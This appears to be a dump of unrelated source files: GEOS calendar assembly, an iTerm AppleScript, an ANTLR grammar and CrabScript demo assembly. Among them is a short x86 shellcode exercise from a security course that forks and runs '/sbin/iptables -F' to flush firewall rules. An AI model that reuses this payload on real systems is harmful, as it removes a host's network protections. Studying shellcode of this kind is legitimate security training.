PF_DATE_CHANGE jnz done and es:[showFlags], not (mask SF_SHOW_NEW_DAY_ON_DATE_CHANGE) done: ret DayPlanChangePreferences endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanUndo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Undo an action CALLED BY: UI (MSG_DP_UNDO) PASS: DS:DI = DayPlan instance data ES = DGroup RETURN: Nothing DESTROYED: AX, BX, CX, DX PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 1/8/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanUndo method DayPlanClass, MSG_DP_UNDO .enter ; Find this event's group & item ; mov bp, ds:[di].DPI_selectEvent ; DayEvent buffer handle => BP call DayPlanSearchByBuffer ; search for the event EC < ERROR_NC DP_UNDO_COULD_NOT_FIND_SELECT_EVENT > mov di, ds:[di] ; dereference the table handle mov cx, ds:[di][bx].ETE_group ; group # => CX mov dx, ds:[di][bx].ETE_item ; item # => DX ; Perform the undo action ; call GeodeGetProcessHandle ; get this process' handle mov ax, MSG_CALENDAR_UNDO ; method to send call ObjMessage_dayplan_call .leave ret DayPlanUndo endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanQuickAdd %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add an empty event to the current day plan CALLED BY: UI (MSG_DP_QUICK_ADD) PASS: DS:*SI = DayPlan instance data DS:DI = DayPlan specific instance data ES = DGroup RETURN: Nothing DESTROYED: AX, BX, CX, DX, BP, DI PSEUDO CODE/STRATEGY: Must loop once through queue, to ensure that any previous Quick Add's are complete (scrolling might have occurred) KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 12/15/89 Initial version Don 4/21/90 Now adds event after current event Don 7/11/90 Added loop mechanism %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanQuickAdd method DayPlanClass, MSG_DP_QUICK_ADD ; See if the current event's time is valid ; mov ax, MSG_DP_ENSURE_EVENTS_VISIBLE call ObjCallInstanceNoLock mov ax, MSG_DP_GET_SELECT ; get the selected event call ObjCallInstanceNoLock ; DayEvent => BP mov di, ds:[si] add di, ds:[di].DayPlan_offset mov cx, {word} ds:[di].DPI_beginMinute ; first Hour/Minute => CX tst bp ; is there a selected event ?? jz addFirst ; no, add the first event push si mov si, bp mov ax, MSG_DE_UPDATE_TIME call ObjCallInstanceNoLock mov bp, si pop si jc exit ; if error, don't add event ; Update the event time (if necessary) ; mov ax, MSG_DP_UPDATE_ALL_EVENTS ; cuase any times being edited call ObjCallInstanceNoLock ; ...to be updated now! ; Get the event's time & date ; call DayPlanSearchByBuffer ; look for the buffer EC < ERROR_NC DP_QUICK_ADD_SELECT_EVENT_NOT_FOUND > mov di, ds:[di] ; dereference the EventTable mov bp, ds:[di][bx].ETE_year mov dx, {word} ds:[di][bx].ETE_day cmp ds:[di][bx].ETE_item, 1 ; is this a header event ?? je common ; then add at the time in CX mov cx, {word} ds:[di][bx].ETE_minute cmp cx, -1 ; is this time empty ?? je common ; yes, make the new one also! cmp bx, ds:[di].ETH_last ; are we past the last entry ? je common ; if so, no average time add bx, size EventTableEntry ; else go to the next event cmp bp, ds:[di][bx].ETE_year jne common ; if years equal, do nothing... cmp dx, {word} ds:[di][bx].ETE_day jne common ; if day/month not equal, jmp mov ax, {word} ds:[di][bx].ETE_minute ; else next time => AX cmp ax, cx ; if next hour/minute is before jl common ; ...current time, use current call CalcAverageTime ; calculate the average time jmp common ; Else add an event to the top addFirst: mov dx, {word} ds:[di].DPI_startDay ; Month/Day => DX mov bp, ds:[di].DPI_startYear ; Year => BP ; Quickly add an event to the DayPlan common: mov ax, MSG_DP_NEW_EVENT ; add a new event call ObjCallInstanceNoLock exit: ret DayPlanQuickAdd endp if _TODO COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DPNewTodoEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create a new To Do list event, making sure the To Do list is shown. CALLED BY: MSG_DP_NEW_TODO_EVENT PASS: *ds:si = DayPlanClass object ds:di = DayPlanClass instance data ds:bx = DayPlanClass object (same as *ds:si) es = segment of DayPlanClass ax = message # RETURN: nothing DESTROYED: ax,cx,dx,bp SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- sean 3/ 9/95 Initial version sean 9/1/95 Changes to allow an alarm event to be added to the To-do list with this message sean 10/27/95 Simplified immensely %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DPNewTodoEvent method dynamic DayPlanClass, MSG_DP_NEW_TODO_EVENT .enter ; Must be showing DayPlan in To-do mode. ; EC < cmp es:[viewInfo], VT_TODO > EC < ERROR_NE WRONG_VIEW_FOR_NEW_TO_DO_ITEM > ; Create new event w/ To Do event values. ; mov ax, MSG_DP_NEW_EVENT mov bp, TODO_DUMMY_YEAR mov dx, TODO_DUMMY_MONTH_DAY mov ch, TODO_DUMMY_HOUR mov cl, TODO_NORMAL_PRIORITY ; priority in minute call ObjCallInstanceNoLock ; New event created, and we only want one new To-do item ; available at any time, so turn off "New" trigger. ; mov ax, MSG_GEN_SET_NOT_ENABLED call ChangeToDoNewTrigger .leave ret DPNewTodoEvent endm endif ; if _TODO COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanEnsureEventsVisible %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Ensure the events window is made visible CALLED BY: GLOBAL (MSG_DP_ENSURE_EVENTS_VISIBLE) PASS: *DS:SI = DayPlanClass object DS:DI = DayPlanClassInstance RETURN: Nothing DESTROYED: AX, BX, CX, DX, DI, SI, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 10/ 8/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanEnsureEventsVisible method dynamic DayPlanClass, MSG_DP_ENSURE_EVENTS_VISIBLE .enter ; If we have the additional view of a To Do list we ; must do things differentely ; if _TODO call CheckView else ; First ensure the right hand side is visible ; GetResourceHandleNS MenuBlock, bx test es:[viewInfo], VT_CALENDAR jz checkInk mov si, offset MenuBlock:ViewViewList mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION mov cx, VT_EVENTS clr dx call ObjMessage_dayplan_send mov ax, MSG_GEN_ITEM_GROUP_SET_MODIFIED_STATE mov cx, 1 ; mark as modified call ObjMessage_dayplan_send mov ax, MSG_GEN_APPLY call ObjMessage_dayplan_send ; Now ensure the EventView is visible checkInk: test es:[viewInfo], mask VI_INK jz done if _USE_INK mov si, offset MenuBlock:ViewInkList mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE clr cx, dx call ObjMessage_dayplan_send mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_MODIFIED_STATE mov cx, mask VI_INK call ObjMessage_dayplan_send mov ax, MSG_GEN_APPLY call ObjMessage_dayplan_send endif ; if _USE_INK done: endif ; if _TODO .leave ret DayPlanEnsureEventsVisible endm if _TODO COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckView %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Routine needed if we are using the To Do list, to ensure the correct view is shown when we press the "New Event" button. CALLED BY: DayPlanEnsureEventsVisible PASS: es = dgroup bx = MenuBlock RETURN: zeroFlag - clear if we want to pop up the Event window zeroFlag - set if we don't want to pop up Event window DESTROYED: ax,cx,dx,si SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- SS 3/21/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckView proc near .enter ; Check what type of view we are showing currently ; mov dl, es:[viewInfo] and dl, mask VI_TYPE ; clr dh ; mov cx,dx ; call ToDoGrabFocusAndTarget cmp dl, VT_EVENTS ; event view ? je done cmp dl, VT_CALENDAR_AND_EVENTS ; Calendar/Event view ? je done ; don't change view cmp dl, VT_TODO ; To Do list view ? mov cx, VT_EVENTS shl offset VI_TYPE je eventView ; Show event view mov cx, VT_CALENDAR_AND_EVENTS shl offset VI_TYPE cmp dl, VT_CALENDAR_AND_TODO_LIST ; Calendar/To Do ? je eventView ; Show Calendar/Events ; Must be Calendar view ; push si ; Save DayPlan mov ax, MSG_GEN_SET_USABLE GetResourceHandleNS CalendarRight, bx ; Show CalendarRight mov si, offset CalendarRight clr di call ObjMessage pop si ; restore DayPlan eventView: ; Update viewInfo global ; and es:[viewInfo], not (mask VI_TYPE) or es:[viewInfo], cl ; Change view menu button ; push si ; save DayPlan mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION GetResourceHandleNS MenuBlock, bx mov si, offset MenuBlock:ViewViewList clr dx ; not indeterminate clr di call ObjMessage pop si ; restore DayPlan ; Make sure DayPlan is in "Event" mode ; mov ax, MSG_DP_EVENT_VIEW call ObjCallInstanceNoLock ; Give focus and target to EventView ; GetResourceHandleNS EventView, bx mov si, offset EventView mov ax, MSG_META_GRAB_FOCUS_EXCL clr di call ObjMessage mov ax, MSG_META_GRAB_TARGET_EXCL clr di call ObjMessage done: .leave ret CheckView endp endif ; if _TODO COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CalcAverageTime %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Takes the average of two times (always rounds down) CALLED BY: GLOBAL PASS: CX = Hours:Minutes AX = Hours:Minutes RETURN: CX: = Average - Hours:Minutes DESTROYED: BX PSEUDO CODE/STRATEGY: Assumes that CX is not -1 (the emtpy time) If AX is -1, then CX is unchanged KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 5/17/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CalcAverageTime proc near .enter ; Turn AX into minutes ; cmp ax, -1 ; is the last time empty ?? je done ; if so, perfrom no average mov bh, 60 ; divisor & multiplicand mov bl, al ; store the inital minutes mov al, ah ; hours => AL clr ah mul bh ; compute minutes clr bh add ax, bx ; total minutes => AX xchg cx, ax ; Turn CX into minutes ; mov bh, 60 ; divisor & multiplicand mov bl, al ; store the inital minutes mov al, ah ; hours => AL clr ah mul bh ; compute minutes clr bh add ax, bx ; total minutes => AX add ax, cx ; total minutes => AX shr ax, 1 ; take the average jnc makeTime inc ax ; always round up ; Turn minutes into hours:minutes makeTime: mov bl, 60 div bl ; perform the division mov ch, al ; hours => CH mov cl, ah ; minutes => CL done: .leave ret CalcAverageTime endp ObjMessage_dayplan_send proc near clr di GOTO ObjMessage_dayplan ObjMessage_dayplan_send endp ObjMessage_dayplan_call proc near mov di, mask MF_CALL or mask MF_FIXUP_DS or mask MF_FIXUP_ES FALL_THRU ObjMessage_dayplan ObjMessage_dayplan_call endp ObjMessage_dayplan proc near call ObjMessage ret ObjMessage_dayplan endp MessageToYearObject proc near GetResourceHandleNS YearObject, bx mov si, offset YearObject GOTO ObjMessage_dayplan MessageToYearObject endp MessageToEventView proc far GetResourceHandleNS EventView, bx mov si, offset EventView ; view OD => BX:SI GOTO ObjMessage MessageToEventView endp DayPlanCode ends ReminderCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanAlarmSettings %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Brings up the Alarm Settings box for the selected DayEvent CALLED BY: UI (MSG_DP_ALARM_SETTINGS) PASS: DS:DI = DayPlanClass specific instance data ES = DGroup RETURN: Nothing DESTROYED: TBD PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 7/3/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanAlarmSettings method DayPlanClass, MSG_DP_ALARM_SETTINGS .enter mov si, ds:[di].DPI_selectEvent ; selected event => SI tst si ; is there one ?? jz done mov ax, MSG_DE_UPDATE ; force an update, please mov cl, DBUF_IF_NECESSARY call ObjCallInstanceNoLock mov ax, MSG_DE_STUFF_ALARM ; stuff the alarm... call ObjCallInstanceNoLock ; and put it on the screen done: .leave ret DayPlanAlarmSettings endp ReminderCode ends if _USE_INK InkCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanCleanInk %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove the current ink from the screen. CALLED BY: GLOBAL (MSG_DP_CLEAN_INK) PASS: *DS:SI = DayPlanClass object DS:DI = DayPlanClassInstance RETURN: Nothing DESTROYED: AX, SI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 2/17/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanCleanInk method dynamic DayPlanClass, MSG_DP_CLEAN_INK uses cx, dx, bp .enter ; Clean all the ink off of the page ; clr ds:[di].DPI_inkGroup clr ds:[di].DPI_inkItem and ds:[di].DPI_inkFlags, mask DPIF_INK_DIRTY mov si, offset DPResource:InkObject ; Clear out the ink data, and mark the object as clean. sub sp, size InkDBFrame mov bp, sp clr ss:[bp].IDBF_VMFile clrdw ss:[bp].IDBF_DBGroupAndItem clr ss:[bp].IDBF_bounds.R_left clr ss:[bp].IDBF_bounds.R_top mov ax, MSG_INK_LOAD_FROM_DB_ITEM call ObjCallInstanceNoLock add sp, size InkDBFrame .leave ret DayPlanCleanInk endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanLInk %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load data into the ink object CALLED BY: GLOBAL (MSG_DP_LOAD_INK) PASS: *DS:SI = DayPlanClass object DS:DI = DayPlanClassInstance SS:BP = EventTableEntry RETURN: CX = Offset to insertion point (bougs) Carry = Clear (continue loading events) DESTROYED: AX, BX, DI, SI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 2/17/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanLoadInk method dynamic DayPlanClass, MSG_DP_LOAD_INK uses dx, bp .enter ; First see if we have the correct day ; mov ax, {word} ss:[bp].ETE_day cmp ax, {word} ds:[di].DPI_startDay jne done mov ax, ss:[bp].ETE_year cmp ax, ds:[di].DPI_startYear jne done ; We have the correct day. Load the ink ; mov bx, bp ; EventTableEntry => SS:BX mov dx, size InkDBFrame sub sp, dx mov bp, sp ; InkDBFrame => SS:BP mov ax, ss:[bx].ETE_group mov ss:[bp].IDBF_DBGroupAndItem.DBGI_group, ax mov ds:[di].DPI_inkGroup, ax mov ax, ss:[bx].ETE_item mov ss:[bp].IDBF_DBGroupAndItem.DBGI_item, ax mov ds:[di].DPI_inkItem, ax mov ss:[bp].IDBF_DBExtra, (size EventStruct) call GP_GetVMFileHanFar mov ss:[bp].IDBF_VMFile, bx clr ss:[bp].IDBF_bounds.R_left clr ss:[bp].IDBF_bounds.R_top ; Now send messages to the ink object ; mov si, offset DPResource:InkObject mov ax, MSG_INK_LOAD_FROM_DB_ITEM call ObjCallInstanceNoLock add sp, size InkDBFrame done: mov cx, size EventTableHeader clc .leave ret DayPlanLoadInk endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanStoreInk %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Store the ink away into a DB item CALLED BY: GLOBAL (MSG_DP_STORE_INK) PASS: *DS:SI = DayPlanClass object DS:DI = DayPlanClassInstance RETURN: Nothing DESTROYED: AX, BX, DI, SI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 2/17/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanStoreInk method dynamic DayPlanClass, MSG_DP_STORE_INK uses cx, dx, bp .enter ; If we need to save anything away, do it ; test ds:[di].DPI_inkFlags, mask DPIF_INK_DIRTY jz done ; if not dirty, do nothing and ds:[di].DPI_inkFlags, not (mask DPIF_INK_DIRTY) tst ds:[di].DPI_inkGroup jnz update ; We have new ink, so create a new ink event ; mov bp, ds:[di].DPI_startYear mov dx, {word} dS:[di].DPI_startDay call DBCreateInkEvent mov ds:[di].DPI_inkGroup, cx mov ds:[di].DPI_inkItem, dx ; We need to update an existing ink event update: mov dx, size InkDBFrame sub sp, dx mov bp, sp ; InkDBFrame => SS:BP mov ax, ds:[di].DPI_inkGroup mov ss:[bp].IDBF_DBGroupAndItem.DBGI_group, ax mov ax, ds:[di].DPI_inkItem mov ss:[bp].IDBF_DBGroupAndItem.DBGI_item, ax mov ss:[bp].IDBF_DBExtra, (size EventStruct) call GP_GetVMFileHanFar mov ss:[bp].IDBF_VMFile, bx clr ss:[bp].IDBF_bounds.R_left clr ss:[bp].IDBF_bounds.R_top mov ss:[bp].IDBF_bounds.R_right, 0xffff mov ss:[bp].IDBF_bounds.R_bottom, 0xffff ; Now send messages to the ink object ; mov si, offset DPResource:InkObject mov ax, MSG_INK_SAVE_TO_DB_ITEM call ObjCallInstanceNoLock add sp, size InkDBFrame ; clean up the stack done: .leave ret DayPlanStoreInk endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanInkDirty %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Note that the ink has become dirty CALLED BY: GLOBAL (MSG_DP_INK_DIRTY) PASS: *DS:SI = DayPlanClass object DS:DI = DayPlanClassInstance RETURN: Nothing DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 2/17/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanInkDirty method dynamic DayPlanClass, MSG_DP_INK_DIRTY .enter ; Set the dirty flag ; or ds:[di].DPI_inkFlags, mask DPIF_INK_DIRTY .leave ret DayPlanInkDirty endm InkCode ends endif ; if _USE_INK
src/applescript/terminal_shell_exec.scpt
jsrdzhk/captchappy
0
3370
<filename>src/applescript/terminal_shell_exec.scpt on alfred_script(q) tell application "iTerm" set _length to count window if _length = 0 then create window with default profile end if set aa to (get miniaturized of current window) if aa then set miniaturized of current window to false end if set bb to (get visible of current window) if bb is false then set visible of current window to true end if set cc to frontmost if cc is false then activate end if (*if _length = 0 then*) set theResult to current tab of current window (*else set theResult to (create tab with default profile) of current window end if*) write session of theResult text q end tell end alfred_script
A6/shellcode2-original.nasm
mshaneck/SLAE32
0
3584
global _start section .text _start: xor eax,eax xor ebx,ebx mov al,0x2 int 0x80 cmp eax,ebx jnz _wait xor eax,eax push eax push word 0x462d mov esi,esp push eax push dword 0x73656c62 push dword 0x61747069 push dword 0x2f6e6962 push dword 0x732f2f2f mov ebx,esp lea edx,[esp+0x10] push eax push esi push esp mov ecx,esp mov al,0xb int 0x80 _wait: mov ebx,eax xor eax,eax xor ecx,ecx xor edx,edx mov al,0x7 int 0x80
Source/eu.modelwriter.core.alloyinecore/src/main/java/eu/modelwriter/core/alloyinecore/instanceImport/InstanceImport.g4
ModelWriter/AlloyInEcore
2
4507
/* * The MIT License (MIT) * * Copyright (c) 2017, <NAME> <<EMAIL>> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ grammar InstanceImport; instance : .*? model (rootObject= eObject | ';') ; model: ('model') (name= unrestrictedName ':')? ownedPathName= SINGLE_QUOTED_STRING ; eObject: name= pathName id= value? ('{' slot+= content (',' slot+= content)* '}' | ';') ; content: name= unrestrictedName (':' (dataValue | '{' eObject* '}' | objectReference))?; dataValue: value | multiValueData; multiValueData: '[' dataValue (',' dataValue)* ']' ; objectReference: pathName | ('[' pathName (',' pathName)* ']'); pathName: firstSegment= unrestrictedName ('.' index= INT)? (midSegments+= segment* lastSegment= segment)? ; segment:'::' '@'? name= unrestrictedName ('.' index= INT)?; value: identifier | numericValue | stringValue | charValue | booleanValue | nullValue ; unrestrictedName: identifier | 'import' | 'model' ; booleanValue: 'true' | 'false'; numericValue: ('+' | '-')? INT? '.'? INT ; identifier: IDENTIFIER; stringValue: DOUBLE_QUOTED_STRING; charValue: SINGLE_CHARACTER; nullValue: 'null'; INT : DIGIT+ ; IDENTIFIER : (UNDERSCORE | LETTER) (LETTER | APOSTROPHE | DIGIT | UNDERSCORE | DOLLAR)* ; SINGLE_CHARACTER: '\'' ~['\\] '\''; DOUBLE_QUOTED_STRING: '"' ( ESCAPED_CHARACTER | ~('\\' | '"' ) )* '"' ; SINGLE_QUOTED_STRING: '\'' ( ESCAPED_CHARACTER | ~('\'' | '\\') )* '\'' ; fragment LETTER: [a-zA-Z]; fragment DIGITS : DIGIT+ ; fragment DIGIT: [0-9]; fragment ESCAPED_CHARACTER: '\\' ('b' | 't' | 'n' | 'f' | 'r' | 'u' | '"' | '\'' | '\\'); fragment UNDERSCORE: '_'; fragment APOSTROPHE: '\''; fragment DOLLAR: '$'; fragment MINUS: '-'; ML_SINGLE_QUOTED_STRING : '\'' .*? '\'' -> skip; MULTILINE_COMMENT : '/*' .*? '*/' -> skip; SINGLELINE_COMMENT : '--' .*? '\r'? '\n' -> skip; WS : [ \r\t\n]+ -> skip ;
CrabVMS/Demo/Build/EX05_HW_Demo.asm
aleyn/MiCO_Demo
0
176595
;Generate by CrabScript v3.0 ;Compile Mode: 3 ;boolean RetyFlag; {$D 222, 239} ;void Welcome() {$D 259, 273} ::Welcome:: {$N 'Welcome', 'P', 0} {$N 'Welcome', 'L', 0} FUNC <Welcome> INTR $2000 PUSH #L, #P, #V, #M VAR #L, 0 MOV #P, #F INTR $1000 {$A True} ;PrintLn('============ Crab for MiCO ===============') {$D 280, 333} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.1> ;'============ Crab for MiCO ===============' READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::Welcome.1.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F ;PrintLn('= Power by Crab SDK 2.0 / MiCO SDK 3.2.2 =') {$D 338, 391} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.2> ;'= Power by Crab SDK 2.0 / MiCO SDK 3.2.2 =' READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::Welcome.3.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F ;PrintLn('= Program by aleyn.wu / MXCHIP =') {$D 396, 449} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.3> ;'= Program by aleyn.wu / MXCHIP =' READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::Welcome.5.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F ;PrintLn('= Support EMW3166, EMW3239 =') {$D 454, 507} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.4> ;'= Support EMW3166, EMW3239 =' READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::Welcome.7.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F ;PrintLn('= =') {$D 512, 565} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.5> ;'= =' READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::Welcome.9.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F ;PrintLn('= Handware Control Demo =') {$D 570, 623} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.6> ;'= Handware Control Demo =' READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::Welcome.11.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F ;PrintLn('==========================================') {$D 628, 681} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@<EMAIL>> ;'==========================================' READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;PrintLn[1]:Text TYPE #W, (V:01) CAPI [&000006] ;PrintLn ::Welcome.13.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F {$D 684, 685} ::Welcome.@:: INTR $2000 {$A False} MOV #F, #P FREE #L POP #L, #P, #V, #M INTR $1000 RET ;OnKey1 : {$D 727, 735} {$E $01000021} ::OnKey1:: {$N 'OnKey1', 'L', 0} FUNC <OnKey1> PUSH #L, #F, #Q, #V, #M VAR #L, 0 {$A True} ;if (Motor1.Active) {$D 755, 773} ::OnKey1.1C:: TYPE #W, (B:01) PORT #D, $0010 ;Motor1.Active EXTN #D, $002F ;getMotorActive RPOR #Q, #W, #D TST 